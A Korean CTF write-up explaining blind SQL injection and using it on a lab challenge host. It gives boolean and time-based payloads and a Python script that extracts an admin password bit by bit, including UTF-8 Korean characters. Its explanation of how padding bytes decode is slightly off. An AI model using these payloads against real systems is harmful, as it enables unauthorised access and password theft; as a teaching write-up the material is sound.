Blind SQL Injection은 응답에 SQL 쿼리 결과가 직접 노출되지 않을 때 사용하는 SQL 인젝션 공격 방식이다.
✅ 기본 개념
일반적인 SQLi는 쿼리 결과를 통해 데이터가 화면에 노출된다.
예: id=1 → SELECT * FROM users WHERE id=1 → 결과가 화면에 나옴
하지만 Blind SQLi는 쿼리 결과가 직접 출력되지 않고, 오직 참/거짓 여부에 따라 응답이 달라지는 경우에 사용한다.
?id=1' AND 1=1 -- ✅ 참일 때 정상 페이지
?id=1' AND 1=2 -- ❌ 거짓일 때 오류 또는 다른 페이지
이러한 응답 차이를 이용해 다음과 같이 정보를 하나하나 추측한다.
?id=1' AND SUBSTRING(password,1,1)='a' -- 하나씩 대입해 맞는지 확인
?id=1' AND ASCII(SUBSTRING(password,1,1)) > 100 -- 참이면 "Welcome", 거짓이면 "Error"
✅ 주요 기술
참/거짓 기반 (Boolean-based)
시간 지연 기반 (Time-based)
IF(조건, SLEEP(5), 0) 같은 방식으로 참일 때 지연 발생
오류 기반 (Error-based)
오류 메시지를 일부러 유도해 내부 정보를 유출
✅ UTF-8이란?
UTF-8은 Unicode 문자 인코딩 방식 중 하나로, 다양한 언어를 다룰 수 있습니다. 특히 웹에서는 가장 많이 사용되는 문자 인코딩이다.
✅ 특징
가변 길이: 1 ~ 4바이트로 문자 표현
ASCII와 호환 (1바이트)
한글, 한자 등은 보통 3바이트
A → 0x41 (1바이트)
가 → 0xEAB080 (3바이트)
%EA%B0%80 → URL 인코딩된 한글 '가'

위와 같이 사이트가 주어졌고, 실제 존재하는 계정 uid인 guest를 넣어본다.

참인 쿼리에 대해서 아래에 exists라는 문자를 반환해준다. 만약 쿼리가 거짓일 경우 아무것도 반환하지 않는다.

Substring을 이용하여 위와 같은 쿼리를 보내면 쿼리가 참이되어 문자를 반환한다. 즉 admin의 비밀번호 첫번쨰는 D라는 것이다.
만약 여기에 D가 아닌 다른값이 들어가면 어떻게 될까??

A라는 값에 대해서는 아무런 반응이 없는 것을 알 수 있다. 이러한 참과 거짓 쿼리에 대한 반응값의 차이를 이용하여 비밀번호를 유추해나가는 기법이다.
burpsuite의 Intruder를 이용하여 3번째 자리 DH{ 까지는 유추를 성공하였다. 하지만 다음으로 문제가 생겼는데, 이 문제에서 비밀번호에 한글도 포함한다는 것이다.
웹 사이트에 한글 표현을 어떻게 전달해야 할지, 문제가 발생하였다. 처음에 burpsuite에 한글 리스트를 작성하여 그대로 전송을 생각하였다. 하지만 burpsuite는 속도가 매우 느리다는 단점이 있다. 특히, 한글 조합은 많으면 10000개 이기 때문에 burpsuite의 직접대입 속도로는 아마 엄청난 시간이 걸릴 것이다.
그래서 파이썬 스크립트를 작성하기로 하였다. 또한, 직접 대입이 아닌 비트를 이용하기로 하였다.
이미 발견한 맨 앞자리 D에 대해서 비트로 D를 전송해보았다.

D의 바이너리 값을 정상적으로 받아서 응답한다. 즉 한글또한 바이너리 값으로 표현할 수 있다.
import requests
url = "http://host3.dreamhack.games:21496/?uid="
flag = 'DH{'
idx = 4
while True:
# bit 길이 구하기
bit_len = 1
while True:
payload = "admin' and length(bin(ord(substr(upw,{idx},1))))<={bit_len};--".format(idx=idx, bit_len=bit_len)
if "exists" in requests.get(url+payload).text:
break
bit_len += 1
# 각 bit 구하기
res = 0
for i in range(1,bit_len+1):
res *= 2
payload = "admin' and substr(bin(ord(substr(upw,{idx},1))),{i},1)=1;--".format(idx=idx, i=i)
if "exists" in requests.get(url+payload).text:
res += 1
# UTF-8 (1~4바이트) 디코딩 필요
flag += res.to_bytes(4, byteorder="big").decode('UTF-8')
print(flag)
if res==125: # '}'
break
idx += 1
< 아스키 값일 경우 >
먼저 결과값의 비트 길이를 구한다. 만약 비밀번호가 아스키일 경우 ord('A') = 65
-> bin(65) = 0b1000001 이고 길이는 7이다.
substr(upw,{idx},1): upw 문자열에서 idx 번째 문자 추출
ord(...): 해당 문자의 아스키값 얻기
bin(...): 아스키값을 이진수 문자열로 변환
length(...): 이진수의 길이
즉: 해당 문자의 이진수 표현의 길이를 구하는 루프이다.
< 한글 값일 경우 >
한글도 1글자 단위로 정확히 인식됩니다.
이 문자 1글자를 MySQL ord() 함수로 숫자(정수)로 변환한다.
한글 1글자(UTF-8 2~3바이트)를 각 바이트값들을 합쳐서 하나의 큰 정수로 변환한다.
예를 들어, 한글 '가'는 UTF-8로 EAB080 (3바이트)인데, ord()는 이 3바이트를 정수(예: 0xEAB080 = 15344064)로 반환한다.
ord() 반환값을 2진수 문자열로 변환한다.
한글 문자면 16~24비트 길이의 2진수 문자열이 된다.
length(bin(...)) <= bit_len :
2진수 문자열의 길이를 하나씩 증가시키며 몇 비트인지 탐색한다.
정확한 비트 길이만큼 비트를 읽기 위한 작업입니다. 이렇게 비트의 길이를 읽는다.
비트 하나씩 추출 :
1번째 비트부터 bit_len번째 비트까지 하나씩 쿼리로 읽어서 res에 누적한다.
res는 한글 문자의 UTF-8 바이트 값 전체(2~3바이트를 합친 정수)를 다시 2진수 → 10진수 정수로 복원하는 역할.
res.to_bytes(4, byteorder="big") :
비트로 재조합한 정수 res를 4바이트(32비트) 배열로 변환합니다.
한글은 보통 2~3바이트인데, 최대 4바이트를 사용하므로 4바이트로 맞춰서 변환.
.decode('UTF-8') :
이 4바이트 배열을 UTF-8 문자열로 변환합니다.
한글 2~3바이트가 정상적으로 디코딩되어 한글 한 글자가 복원됩니다.
남는 바이트(0x00 등)는 무시됩니다.
flag += :
복원한 한글 문자 한 글자를 기존 플래그 문자열에 붙입니다.
if res == 125: :
ASCII 125 = '}' 문자가 나오면 플래그 종료.
idx += 1 :
다음 문자(1글자)로 이동.

위는 코드의실행 결과이다. 한글 값을 획득하였다.
FLAG : DH{이것이비밀번호!?}